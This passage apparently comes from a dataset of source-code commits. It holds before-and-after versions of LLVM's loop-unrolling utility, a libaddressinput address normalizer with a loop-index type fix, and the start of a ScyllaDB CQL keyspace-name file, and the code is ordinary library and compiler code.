CloneBasicBlock(*BB, ValueMap, SuffixBuffer);\n      Header->getParent()->getBasicBlockList().push_back(New);\n\n      \/\/ Loop over all of the PHI nodes in the block, changing them to use the\n      \/\/ incoming values from the previous block.\n      if (*BB == Header)\n        for (unsigned i = 0, e = OrigPHINode.size(); i != e; ++i) {\n          PHINode *NewPHI = cast<PHINode>(ValueMap[OrigPHINode[i]]);\n          Value *InVal = NewPHI->getIncomingValueForBlock(LatchBlock);\n          if (Instruction *InValI = dyn_cast<Instruction>(InVal))\n            if (It > 1 && L->contains(InValI->getParent()))\n              InVal = LastValueMap[InValI];\n          ValueMap[OrigPHINode[i]] = InVal;\n          New->getInstList().erase(NewPHI);\n        }\n\n      \/\/ Update our running map of newest clones\n      LastValueMap[*BB] = New;\n      for (ValueMapTy::iterator VI = ValueMap.begin(), VE = ValueMap.end();\n           VI != VE; ++VI)\n        LastValueMap[VI->first] = VI->second;\n\n      L->addBasicBlockToLoop(New, LI->getBase());\n\n      \/\/ Add phi entries for newly created values to all exit blocks except\n      \/\/ the successor of the latch block.  The successor of the exit block will\n      \/\/ be updated specially after unrolling all the way.\n      if (*BB != LatchBlock)\n        for (Value::use_iterator UI = (*BB)->use_begin(), UE = (*BB)->use_end();\n             UI != UE;) {\n          Instruction *UseInst = cast<Instruction>(*UI);\n          ++UI;\n          if (isa<PHINode>(UseInst) && !L->contains(UseInst->getParent())) {\n            PHINode *phi = cast<PHINode>(UseInst);\n            Value *Incoming = phi->getIncomingValueForBlock(*BB);\n            phi->addIncoming(Incoming, New);\n          }\n        }\n\n      \/\/ Keep track of new headers and latches as we create them, so that\n      \/\/ we can insert the proper branches later.\n      if (*BB == Header)\n        Headers.push_back(New);\n      if (*BB == LatchBlock) {\n        Latches.push_back(New);\n\n        \/\/ Also, clear out the new latch's back edge so that it doesn't look\n        \/\/ like a new loop, so that it's amenable to being merged with adjacent\n        \/\/ blocks later on.\n        TerminatorInst *Term = New->getTerminator();\n        assert(L->contains(Term->getSuccessor(!ContinueOnTrue)));\n        assert(Term->getSuccessor(ContinueOnTrue) == LoopExit);\n        Term->setSuccessor(!ContinueOnTrue, NULL);\n      }\n\n      NewBlocks.push_back(New);\n    }\n    \n    \/\/ Remap all instructions in the most recent iteration\n    for (unsigned i = 0; i < NewBlocks.size(); ++i)\n      for (BasicBlock::iterator I = NewBlocks[i]->begin(),\n           E = NewBlocks[i]->end(); I != E; ++I)\n        RemapInstruction(I, LastValueMap);\n  }\n  \n  \/\/ The latch block exits the loop.  If there are any PHI nodes in the\n  \/\/ successor blocks, update them to use the appropriate values computed as the\n  \/\/ last iteration of the loop.\n  if (Count != 1) {\n    SmallPtrSet<PHINode*, 8> Users;\n    for (Value::use_iterator UI = LatchBlock->use_begin(),\n         UE = LatchBlock->use_end(); UI != UE; ++UI)\n      if (PHINode *phi = dyn_cast<PHINode>(*UI))\n        Users.insert(phi);\n    \n    BasicBlock *LastIterationBB = cast<BasicBlock>(LastValueMap[LatchBlock]);\n    for (SmallPtrSet<PHINode*,8>::iterator SI = Users.begin(), SE = Users.end();\n         SI != SE; ++SI) {\n      PHINode *PN = *SI;\n      Value *InVal = PN->removeIncomingValue(LatchBlock, false);\n      \/\/ If this value was defined in the loop, take the value defined by the\n      \/\/ last iteration of the loop.\n      if (Instruction *InValI = dyn_cast<Instruction>(InVal)) {\n        if (L->contains(InValI->getParent()))\n          InVal = LastValueMap[InVal];\n      }\n      PN->addIncoming(InVal, LastIterationBB);\n    }\n  }\n\n  \/\/ Now, if we're doing complete unrolling, loop over the PHI nodes in the\n  \/\/ original block, setting them to their incoming values.\n  if (CompletelyUnroll) {\n    BasicBlock *Preheader = L->getLoopPreheader();\n    for (unsigned i = 0, e = OrigPHINode.size(); i != e; ++i) {\n      PHINode *PN = OrigPHINode[i];\n      PN->replaceAllUsesWith(PN->getIncomingValueForBlock(Preheader));\n      Header->getInstList().erase(PN);\n    }\n  }\n\n  \/\/ Now that all the basic blocks for the unrolled iterations are in place,\n  \/\/ set up the branches to connect them.\n  for (unsigned i = 0, e = Latches.size(); i != e; ++i) {\n    \/\/ The original branch was replicated in each unrolled iteration.\n    BranchInst *Term = cast<BranchInst>(Latches[i]->getTerminator());\n\n    \/\/ The branch destination.\n    unsigned j = (i + 1) % e;\n    BasicBlock *Dest = Headers[j];\n    bool NeedConditional = true;\n\n    \/\/ For a complete unroll, make the last iteration end with a branch\n    \/\/ to the exit block.\n    if (CompletelyUnroll && j == 0) {\n      Dest = LoopExit;\n      NeedConditional = false;\n    }\n\n    \/\/ If we know the trip count or a multiple of it, we can safely use an\n    \/\/ unconditional branch for some iterations.\n    if (j != BreakoutTrip && (TripMultiple == 0 || j % TripMultiple != 0)) {\n      NeedConditional = false;\n    }\n\n    if (NeedConditional) {\n      \/\/ Update the conditional branch's successor for the following\n      \/\/ iteration.\n      Term->setSuccessor(!ContinueOnTrue, Dest);\n    } else {\n      Term->setUnconditionalDest(Dest);\n      \/\/ Merge adjacent basic blocks, if possible.\n      if (BasicBlock *Fold = FoldBlockIntoPredecessor(Dest, LI)) {\n        std::replace(Latches.begin(), Latches.end(), Dest, Fold);\n        std::replace(Headers.begin(), Headers.end(), Dest, Fold);\n      }\n    }\n  }\n  \n  \/\/ At this point, the code is well formed.  We now do a quick sweep over the\n  \/\/ inserted code, doing constant propagation and dead code elimination as we\n  \/\/ go.\n  const std::vector<BasicBlock*> &NewLoopBlocks = L->getBlocks();\n  for (std::vector<BasicBlock*>::const_iterator BB = NewLoopBlocks.begin(),\n       BBE = NewLoopBlocks.end(); BB != BBE; ++BB)\n    for (BasicBlock::iterator I = (*BB)->begin(), E = (*BB)->end(); I != E; ) {\n      Instruction *Inst = I++;\n\n      if (isInstructionTriviallyDead(Inst))\n        (*BB)->getInstList().erase(Inst);\n      else if (Constant *C = ConstantFoldInstruction(Inst, \n                                                     Header->getContext())) {\n        Inst->replaceAllUsesWith(C);\n        (*BB)->getInstList().erase(Inst);\n      }\n    }\n\n  NumCompletelyUnrolled += CompletelyUnroll;\n  ++NumUnrolled;\n  \/\/ Remove the loop from the LoopPassManager if it's completely removed.\n  if (CompletelyUnroll && LPM != NULL)\n    LPM->deleteLoopFromQueue(L);\n\n  \/\/ If we didn't completely unroll the loop, it should still be in LCSSA form.\n  if (!CompletelyUnroll)\n    assert(L->isLCSSAForm());\n\n  return true;\n}\n<commit_msg>Teach LoopUnroll how to bail if LoopSimplify can't give it what it needs.<commit_after>\/\/===-- UnrollLoop.cpp - Loop unrolling utilities -------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file implements some loop unrolling utilities. It does not define any\n\/\/ actual pass or policy, but provides a single function to perform loop\n\/\/ unrolling.\n\/\/\n\/\/ It works best when loops have been canonicalized by the -indvars pass,\n\/\/ allowing it to determine the trip counts of loops easily.\n\/\/\n\/\/ The process of unrolling can produce extraneous basic blocks linked with\n\/\/ unconditional branches.  This will be corrected in the future.\n\/\/===----------------------------------------------------------------------===\/\/\n\n#define DEBUG_TYPE \"loop-unroll\"\n#include \"llvm\/Transforms\/Utils\/UnrollLoop.h\"\n#include \"llvm\/BasicBlock.h\"\n#include \"llvm\/ADT\/Statistic.h\"\n#include \"llvm\/Analysis\/ConstantFolding.h\"\n#include \"llvm\/Analysis\/LoopPass.h\"\n#include \"llvm\/Support\/Debug.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/Transforms\/Utils\/BasicBlockUtils.h\"\n#include \"llvm\/Transforms\/Utils\/Cloning.h\"\n#include \"llvm\/Transforms\/Utils\/Local.h\"\n#include <cstdio>\n\nusing namespace llvm;\n\n\/\/ TODO: Should these be here or in LoopUnroll?\nSTATISTIC(NumCompletelyUnrolled, \"Number of loops completely unrolled\");\nSTATISTIC(NumUnrolled,    \"Number of loops unrolled (completely or otherwise)\");\n\n\/\/\/ RemapInstruction - Convert the instruction operands from referencing the\n\/\/\/ current values into those specified by ValueMap.\nstatic inline void RemapInstruction(Instruction *I,\n                                    DenseMap<const Value *, Value*> &ValueMap) {\n  for (unsigned op = 0, E = I->getNumOperands(); op != E; ++op) {\n    Value *Op = I->getOperand(op);\n    DenseMap<const Value *, Value*>::iterator It = ValueMap.find(Op);\n    if (It != ValueMap.end())\n      I->setOperand(op, It->second);\n  }\n}\n\n\/\/\/ FoldBlockIntoPredecessor - Folds a basic block into its predecessor if it\n\/\/\/ only has one predecessor, and that predecessor only has one successor.\n\/\/\/ The LoopInfo Analysis that is passed will be kept consistent.\n\/\/\/ Returns the new combined block.\nstatic BasicBlock *FoldBlockIntoPredecessor(BasicBlock *BB, LoopInfo* LI) {\n  \/\/ Merge basic blocks into their predecessor if there is only one distinct\n  \/\/ pred, and if there is only one distinct successor of the predecessor, and\n  \/\/ if there are no PHI nodes.\n  BasicBlock *OnlyPred = BB->getSinglePredecessor();\n  if (!OnlyPred) return 0;\n\n  if (OnlyPred->getTerminator()->getNumSuccessors() != 1)\n    return 0;\n\n  DEBUG(errs() << \"Merging: \" << *BB << \"into: \" << *OnlyPred);\n\n  \/\/ Resolve any PHI nodes at the start of the block.  They are all\n  \/\/ guaranteed to have exactly one entry if they exist, unless there are\n  \/\/ multiple duplicate (but guaranteed to be equal) entries for the\n  \/\/ incoming edges.  This occurs when there are multiple edges from\n  \/\/ OnlyPred to OnlySucc.\n  FoldSingleEntryPHINodes(BB);\n\n  \/\/ Delete the unconditional branch from the predecessor...\n  OnlyPred->getInstList().pop_back();\n\n  \/\/ Move all definitions in the successor to the predecessor...\n  OnlyPred->getInstList().splice(OnlyPred->end(), BB->getInstList());\n\n  \/\/ Make all PHI nodes that referred to BB now refer to Pred as their\n  \/\/ source...\n  BB->replaceAllUsesWith(OnlyPred);\n\n  std::string OldName = BB->getName();\n\n  \/\/ Erase basic block from the function...\n  LI->removeBlock(BB);\n  BB->eraseFromParent();\n\n  \/\/ Inherit predecessor's name if it exists...\n  if (!OldName.empty() && !OnlyPred->hasName())\n    OnlyPred->setName(OldName);\n\n  return OnlyPred;\n}\n\n\/\/\/ Unroll the given loop by Count. The loop must be in LCSSA form. Returns true\n\/\/\/ if unrolling was succesful, or false if the loop was unmodified. Unrolling\n\/\/\/ can only fail when the loop's latch block is not terminated by a conditional\n\/\/\/ branch instruction. However, if the trip count (and multiple) are not known,\n\/\/\/ loop unrolling will mostly produce more code that is no faster.\n\/\/\/\n\/\/\/ The LoopInfo Analysis that is passed will be kept consistent.\n\/\/\/\n\/\/\/ If a LoopPassManager is passed in, and the loop is fully removed, it will be\n\/\/\/ removed from the LoopPassManager as well. LPM can also be NULL.\nbool llvm::UnrollLoop(Loop *L, unsigned Count, LoopInfo* LI, LPPassManager* LPM) {\n  assert(L->isLCSSAForm());\n\n  BasicBlock *Preheader = L->getLoopPreheader();\n  if (!Preheader) {\n    DEBUG(errs() << \"  Can't unroll; loop preheader-insertion failed.\\n\");\n    return false;\n  }\n\n  BasicBlock *LatchBlock = L->getLoopLatch();\n  if (!LatchBlock) {\n    DEBUG(errs() << \"  Can't unroll; loop exit-block-insertion failed.\\n\");\n    return false;\n  }\n\n  BasicBlock *Header = L->getHeader();\n  BranchInst *BI = dyn_cast<BranchInst>(LatchBlock->getTerminator());\n  \n  if (!BI || BI->isUnconditional()) {\n    \/\/ The loop-rotate pass can be helpful to avoid this in many cases.\n    DEBUG(errs() <<\n             \"  Can't unroll; loop not terminated by a conditional branch.\\n\");\n    return false;\n  }\n\n  \/\/ Find trip count\n  unsigned TripCount = L->getSmallConstantTripCount();\n  \/\/ Find trip multiple if count is not available\n  unsigned TripMultiple = 1;\n  if (TripCount == 0)\n    TripMultiple = L->getSmallConstantTripMultiple();\n\n  if (TripCount != 0)\n    DEBUG(errs() << \"  Trip Count = \" << TripCount << \"\\n\");\n  if (TripMultiple != 1)\n    DEBUG(errs() << \"  Trip Multiple = \" << TripMultiple << \"\\n\");\n\n  \/\/ Effectively \"DCE\" unrolled iterations that are beyond the tripcount\n  \/\/ and will never be executed.\n  if (TripCount != 0 && Count > TripCount)\n    Count = TripCount;\n\n  assert(Count > 0);\n  assert(TripMultiple > 0);\n  assert(TripCount == 0 || TripCount % TripMultiple == 0);\n\n  \/\/ Are we eliminating the loop control altogether?\n  bool CompletelyUnroll = Count == TripCount;\n\n  \/\/ If we know the trip count, we know the multiple...\n  unsigned BreakoutTrip = 0;\n  if (TripCount != 0) {\n    BreakoutTrip = TripCount % Count;\n    TripMultiple = 0;\n  } else {\n    \/\/ Figure out what multiple to use.\n    BreakoutTrip = TripMultiple =\n      (unsigned)GreatestCommonDivisor64(Count, TripMultiple);\n  }\n\n  if (CompletelyUnroll) {\n    DEBUG(errs() << \"COMPLETELY UNROLLING loop %\" << Header->getName()\n          << \" with trip count \" << TripCount << \"!\\n\");\n  } else {\n    DEBUG(errs() << \"UNROLLING loop %\" << Header->getName()\n          << \" by \" << Count);\n    if (TripMultiple == 0 || BreakoutTrip != TripMultiple) {\n      DEBUG(errs() << \" with a breakout at trip \" << BreakoutTrip);\n    } else if (TripMultiple != 1) {\n      DEBUG(errs() << \" with \" << TripMultiple << \" trips per branch\");\n    }\n    DEBUG(errs() << \"!\\n\");\n  }\n\n  std::vector<BasicBlock*> LoopBlocks = L->getBlocks();\n\n  bool ContinueOnTrue = L->contains(BI->getSuccessor(0));\n  BasicBlock *LoopExit = BI->getSuccessor(ContinueOnTrue);\n\n  \/\/ For the first iteration of the loop, we should use the precloned values for\n  \/\/ PHI nodes.  Insert associations now.\n  typedef DenseMap<const Value*, Value*> ValueMapTy;\n  ValueMapTy LastValueMap;\n  std::vector<PHINode*> OrigPHINode;\n  for (BasicBlock::iterator I = Header->begin(); isa<PHINode>(I); ++I) {\n    PHINode *PN = cast<PHINode>(I);\n    OrigPHINode.push_back(PN);\n    if (Instruction *I = \n                dyn_cast<Instruction>(PN->getIncomingValueForBlock(LatchBlock)))\n      if (L->contains(I->getParent()))\n        LastValueMap[I] = I;\n  }\n\n  std::vector<BasicBlock*> Headers;\n  std::vector<BasicBlock*> Latches;\n  Headers.push_back(Header);\n  Latches.push_back(LatchBlock);\n\n  for (unsigned It = 1; It != Count; ++It) {\n    char SuffixBuffer[100];\n    sprintf(SuffixBuffer, \".%d\", It);\n    \n    std::vector<BasicBlock*> NewBlocks;\n    \n    for (std::vector<BasicBlock*>::iterator BB = LoopBlocks.begin(),\n         E = LoopBlocks.end(); BB != E; ++BB) {\n      ValueMapTy ValueMap;\n      BasicBlock *New = CloneBasicBlock(*BB, ValueMap, SuffixBuffer);\n      Header->getParent()->getBasicBlockList().push_back(New);\n\n      \/\/ Loop over all of the PHI nodes in the block, changing them to use the\n      \/\/ incoming values from the previous block.\n      if (*BB == Header)\n        for (unsigned i = 0, e = OrigPHINode.size(); i != e; ++i) {\n          PHINode *NewPHI = cast<PHINode>(ValueMap[OrigPHINode[i]]);\n          Value *InVal = NewPHI->getIncomingValueForBlock(LatchBlock);\n          if (Instruction *InValI = dyn_cast<Instruction>(InVal))\n            if (It > 1 && L->contains(InValI->getParent()))\n              InVal = LastValueMap[InValI];\n          ValueMap[OrigPHINode[i]] = InVal;\n          New->getInstList().erase(NewPHI);\n        }\n\n      \/\/ Update our running map of newest clones\n      LastValueMap[*BB] = New;\n      for (ValueMapTy::iterator VI = ValueMap.begin(), VE = ValueMap.end();\n           VI != VE; ++VI)\n        LastValueMap[VI->first] = VI->second;\n\n      L->addBasicBlockToLoop(New, LI->getBase());\n\n      \/\/ Add phi entries for newly created values to all exit blocks except\n      \/\/ the successor of the latch block.  The successor of the exit block will\n      \/\/ be updated specially after unrolling all the way.\n      if (*BB != LatchBlock)\n        for (Value::use_iterator UI = (*BB)->use_begin(), UE = (*BB)->use_end();\n             UI != UE;) {\n          Instruction *UseInst = cast<Instruction>(*UI);\n          ++UI;\n          if (isa<PHINode>(UseInst) && !L->contains(UseInst->getParent())) {\n            PHINode *phi = cast<PHINode>(UseInst);\n            Value *Incoming = phi->getIncomingValueForBlock(*BB);\n            phi->addIncoming(Incoming, New);\n          }\n        }\n\n      \/\/ Keep track of new headers and latches as we create them, so that\n      \/\/ we can insert the proper branches later.\n      if (*BB == Header)\n        Headers.push_back(New);\n      if (*BB == LatchBlock) {\n        Latches.push_back(New);\n\n        \/\/ Also, clear out the new latch's back edge so that it doesn't look\n        \/\/ like a new loop, so that it's amenable to being merged with adjacent\n        \/\/ blocks later on.\n        TerminatorInst *Term = New->getTerminator();\n        assert(L->contains(Term->getSuccessor(!ContinueOnTrue)));\n        assert(Term->getSuccessor(ContinueOnTrue) == LoopExit);\n        Term->setSuccessor(!ContinueOnTrue, NULL);\n      }\n\n      NewBlocks.push_back(New);\n    }\n    \n    \/\/ Remap all instructions in the most recent iteration\n    for (unsigned i = 0; i < NewBlocks.size(); ++i)\n      for (BasicBlock::iterator I = NewBlocks[i]->begin(),\n           E = NewBlocks[i]->end(); I != E; ++I)\n        RemapInstruction(I, LastValueMap);\n  }\n  \n  \/\/ The latch block exits the loop.  If there are any PHI nodes in the\n  \/\/ successor blocks, update them to use the appropriate values computed as the\n  \/\/ last iteration of the loop.\n  if (Count != 1) {\n    SmallPtrSet<PHINode*, 8> Users;\n    for (Value::use_iterator UI = LatchBlock->use_begin(),\n         UE = LatchBlock->use_end(); UI != UE; ++UI)\n      if (PHINode *phi = dyn_cast<PHINode>(*UI))\n        Users.insert(phi);\n    \n    BasicBlock *LastIterationBB = cast<BasicBlock>(LastValueMap[LatchBlock]);\n    for (SmallPtrSet<PHINode*,8>::iterator SI = Users.begin(), SE = Users.end();\n         SI != SE; ++SI) {\n      PHINode *PN = *SI;\n      Value *InVal = PN->removeIncomingValue(LatchBlock, false);\n      \/\/ If this value was defined in the loop, take the value defined by the\n      \/\/ last iteration of the loop.\n      if (Instruction *InValI = dyn_cast<Instruction>(InVal)) {\n        if (L->contains(InValI->getParent()))\n          InVal = LastValueMap[InVal];\n      }\n      PN->addIncoming(InVal, LastIterationBB);\n    }\n  }\n\n  \/\/ Now, if we're doing complete unrolling, loop over the PHI nodes in the\n  \/\/ original block, setting them to their incoming values.\n  if (CompletelyUnroll) {\n    BasicBlock *Preheader = L->getLoopPreheader();\n    for (unsigned i = 0, e = OrigPHINode.size(); i != e; ++i) {\n      PHINode *PN = OrigPHINode[i];\n      PN->replaceAllUsesWith(PN->getIncomingValueForBlock(Preheader));\n      Header->getInstList().erase(PN);\n    }\n  }\n\n  \/\/ Now that all the basic blocks for the unrolled iterations are in place,\n  \/\/ set up the branches to connect them.\n  for (unsigned i = 0, e = Latches.size(); i != e; ++i) {\n    \/\/ The original branch was replicated in each unrolled iteration.\n    BranchInst *Term = cast<BranchInst>(Latches[i]->getTerminator());\n\n    \/\/ The branch destination.\n    unsigned j = (i + 1) % e;\n    BasicBlock *Dest = Headers[j];\n    bool NeedConditional = true;\n\n    \/\/ For a complete unroll, make the last iteration end with a branch\n    \/\/ to the exit block.\n    if (CompletelyUnroll && j == 0) {\n      Dest = LoopExit;\n      NeedConditional = false;\n    }\n\n    \/\/ If we know the trip count or a multiple of it, we can safely use an\n    \/\/ unconditional branch for some iterations.\n    if (j != BreakoutTrip && (TripMultiple == 0 || j % TripMultiple != 0)) {\n      NeedConditional = false;\n    }\n\n    if (NeedConditional) {\n      \/\/ Update the conditional branch's successor for the following\n      \/\/ iteration.\n      Term->setSuccessor(!ContinueOnTrue, Dest);\n    } else {\n      Term->setUnconditionalDest(Dest);\n      \/\/ Merge adjacent basic blocks, if possible.\n      if (BasicBlock *Fold = FoldBlockIntoPredecessor(Dest, LI)) {\n        std::replace(Latches.begin(), Latches.end(), Dest, Fold);\n        std::replace(Headers.begin(), Headers.end(), Dest, Fold);\n      }\n    }\n  }\n  \n  \/\/ At this point, the code is well formed.  We now do a quick sweep over the\n  \/\/ inserted code, doing constant propagation and dead code elimination as we\n  \/\/ go.\n  const std::vector<BasicBlock*> &NewLoopBlocks = L->getBlocks();\n  for (std::vector<BasicBlock*>::const_iterator BB = NewLoopBlocks.begin(),\n       BBE = NewLoopBlocks.end(); BB != BBE; ++BB)\n    for (BasicBlock::iterator I = (*BB)->begin(), E = (*BB)->end(); I != E; ) {\n      Instruction *Inst = I++;\n\n      if (isInstructionTriviallyDead(Inst))\n        (*BB)->getInstList().erase(Inst);\n      else if (Constant *C = ConstantFoldInstruction(Inst, \n                                                     Header->getContext())) {\n        Inst->replaceAllUsesWith(C);\n        (*BB)->getInstList().erase(Inst);\n      }\n    }\n\n  NumCompletelyUnrolled += CompletelyUnroll;\n  ++NumUnrolled;\n  \/\/ Remove the loop from the LoopPassManager if it's completely removed.\n  if (CompletelyUnroll && LPM != NULL)\n    LPM->deleteLoopFromQueue(L);\n\n  \/\/ If we didn't completely unroll the loop, it should still be in LCSSA form.\n  if (!CompletelyUnroll)\n    assert(L->isLCSSAForm());\n\n  return true;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (C) 2014 Google Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <libaddressinput\/address_normalizer.h>\n\n#include <libaddressinput\/address_data.h>\n#include <libaddressinput\/address_field.h>\n#include <libaddressinput\/preload_supplier.h>\n\n#include <cassert>\n#include <cstddef>\n#include <string>\n#include <vector>\n\n#include \"lookup_key.h\"\n#include \"rule.h\"\n#include \"util\/string_compare.h\"\n\nnamespace i18n {\nnamespace addressinput {\n\nAddressNormalizer::AddressNormalizer(const PreloadSupplier* supplier)\n    : supplier_(supplier),\n      compare_(new StringCompare) {\n  assert(supplier_ != NULL);\n}\n\nAddressNormalizer::~AddressNormalizer() {}\n\nvoid AddressNormalizer::Normalize(AddressData* address) const {\n  assert(address != NULL);\n  assert(supplier_->IsLoaded(address->region_code));\n\n  AddressData region_address;\n  region_address.region_code = address->region_code;\n  LookupKey parent_key;\n  parent_key.FromAddress(region_address);\n  const Rule* parent_rule = supplier_->GetRule(parent_key);\n  assert(parent_rule != NULL);\n\n  std::vector<std::string> languages(parent_rule->GetLanguages());\n\n  if (languages.empty()) {\n    languages.push_back(\"\");\n  } else {\n    languages[0] = \"\";  \/\/ The default language doesn't need a tag on the id.\n  }\n\n\n  LookupKey lookup_key;\n  for (size_t depth = 1; depth < arraysize(LookupKey::kHierarchy); ++depth) {\n    AddressField field = LookupKey::kHierarchy[depth];\n    if (address->IsFieldEmpty(field)) {\n      return;\n    }\n    const std::string& field_value = address->GetFieldValue(field);\n    bool no_match_found_yet = true;\n\n    const std::vector<std::string>& sub_keys = parent_rule->GetSubKeys();\n\n    for (int i = 0; i < sub_keys.size(); i++) {\n      const std::string& sub_key = sub_keys[i];\n      if (!no_match_found_yet)\n        break;\n      for (const std::string& language : languages) {\n        lookup_key.set_language(language);\n        lookup_key.FromLookupKey(parent_key, sub_key);\n        const Rule* rule = supplier_->GetRule(lookup_key);\n        assert(rule != NULL);\n\n        bool matches_latin_name =\n            compare_->NaturalEquals(field_value, rule->GetLatinName());\n        bool matches_local_name_id =\n            compare_->NaturalEquals(field_value, sub_key) ||\n            compare_->NaturalEquals(field_value, rule->GetName());\n        if (matches_latin_name || matches_local_name_id) {\n          address->SetFieldValue(\n              field, matches_latin_name ? rule->GetLatinName() : sub_key);\n          no_match_found_yet = false;\n          parent_key.FromLookupKey(parent_key, sub_key);\n          parent_rule = supplier_->GetRule(parent_key);\n          assert(parent_rule != NULL);\n          break;\n        }\n      }\n    }\n    if (no_match_found_yet) {\n      return;  \/\/ Abort search.\n    }\n  }\n}\n\n}  \/\/ namespace addressinput\n}  \/\/ namespace i18n\n<commit_msg>(AUTOMATIC) opensource update (#134)<commit_after>\/\/ Copyright (C) 2014 Google Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <libaddressinput\/address_normalizer.h>\n\n#include <libaddressinput\/address_data.h>\n#include <libaddressinput\/address_field.h>\n#include <libaddressinput\/preload_supplier.h>\n\n#include <cassert>\n#include <cstddef>\n#include <string>\n#include <vector>\n\n#include \"lookup_key.h\"\n#include \"rule.h\"\n#include \"util\/string_compare.h\"\n\nnamespace i18n {\nnamespace addressinput {\n\nAddressNormalizer::AddressNormalizer(const PreloadSupplier* supplier)\n    : supplier_(supplier),\n      compare_(new StringCompare) {\n  assert(supplier_ != NULL);\n}\n\nAddressNormalizer::~AddressNormalizer() {}\n\nvoid AddressNormalizer::Normalize(AddressData* address) const {\n  assert(address != NULL);\n  assert(supplier_->IsLoaded(address->region_code));\n\n  AddressData region_address;\n  region_address.region_code = address->region_code;\n  LookupKey parent_key;\n  parent_key.FromAddress(region_address);\n  const Rule* parent_rule = supplier_->GetRule(parent_key);\n  assert(parent_rule != NULL);\n\n  std::vector<std::string> languages(parent_rule->GetLanguages());\n\n  if (languages.empty()) {\n    languages.push_back(\"\");\n  } else {\n    languages[0] = \"\";  \/\/ The default language doesn't need a tag on the id.\n  }\n\n\n  LookupKey lookup_key;\n  for (size_t depth = 1; depth < arraysize(LookupKey::kHierarchy); ++depth) {\n    AddressField field = LookupKey::kHierarchy[depth];\n    if (address->IsFieldEmpty(field)) {\n      return;\n    }\n    const std::string& field_value = address->GetFieldValue(field);\n    bool no_match_found_yet = true;\n\n    const std::vector<std::string>& sub_keys = parent_rule->GetSubKeys();\n\n    for (size_t i = 0; i < sub_keys.size(); i++) {\n      const std::string& sub_key = sub_keys[i];\n      if (!no_match_found_yet)\n        break;\n      for (const std::string& language : languages) {\n        lookup_key.set_language(language);\n        lookup_key.FromLookupKey(parent_key, sub_key);\n        const Rule* rule = supplier_->GetRule(lookup_key);\n        assert(rule != NULL);\n\n        bool matches_latin_name =\n            compare_->NaturalEquals(field_value, rule->GetLatinName());\n        bool matches_local_name_id =\n            compare_->NaturalEquals(field_value, sub_key) ||\n            compare_->NaturalEquals(field_value, rule->GetName());\n        if (matches_latin_name || matches_local_name_id) {\n          address->SetFieldValue(\n              field, matches_latin_name ? rule->GetLatinName() : sub_key);\n          no_match_found_yet = false;\n          parent_key.FromLookupKey(parent_key, sub_key);\n          parent_rule = supplier_->GetRule(parent_key);\n          assert(parent_rule != NULL);\n          break;\n        }\n      }\n    }\n    if (no_match_found_yet) {\n      return;  \/\/ Abort search.\n    }\n  }\n}\n\n}  \/\/ namespace addressinput\n}  \/\/ namespace i18n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/*\n * Copyright (C) 2015 ScyllaDB\n *\n * Modified by ScyllaDB\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"cql3\/keyspace_element_name.hh\"\n\nnamespace cql3 {\n\nvoid keyspace_element_name::set_keyspace(std::string_view ks, bool keep_case)\n{\n    _ks_name = to_internal_name(ks, keep_case);\n}\n\nbool keyspace_element_name::has_keyspace() const\n{\n    return bool(_ks_name);\n}\n\nconst sstring& keyspace_element_name::get_keyspace() const\n{\n    return *_ks_name;\n}\n\nsstring keyspace_element_name::to_internal_name(std::string_view view, bool keep_case)\n{\n    sstring name(view);\n    if (!keep_case) {\n        std::transform(name.begin(), name.end(), name.begin(), ::tolower);\n    }\n    return name;\n}\n\nsstring keyspace_element_name::to_string() const\n{\n    return has_keyspace() ? (get_keyspace() + \".\") : \"\";    \n}\n\n}\n<commit_msg>cql3: assert that unengaged optional is not accessed in keyspace_element_name::get_keyspace()<commit_after>\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * 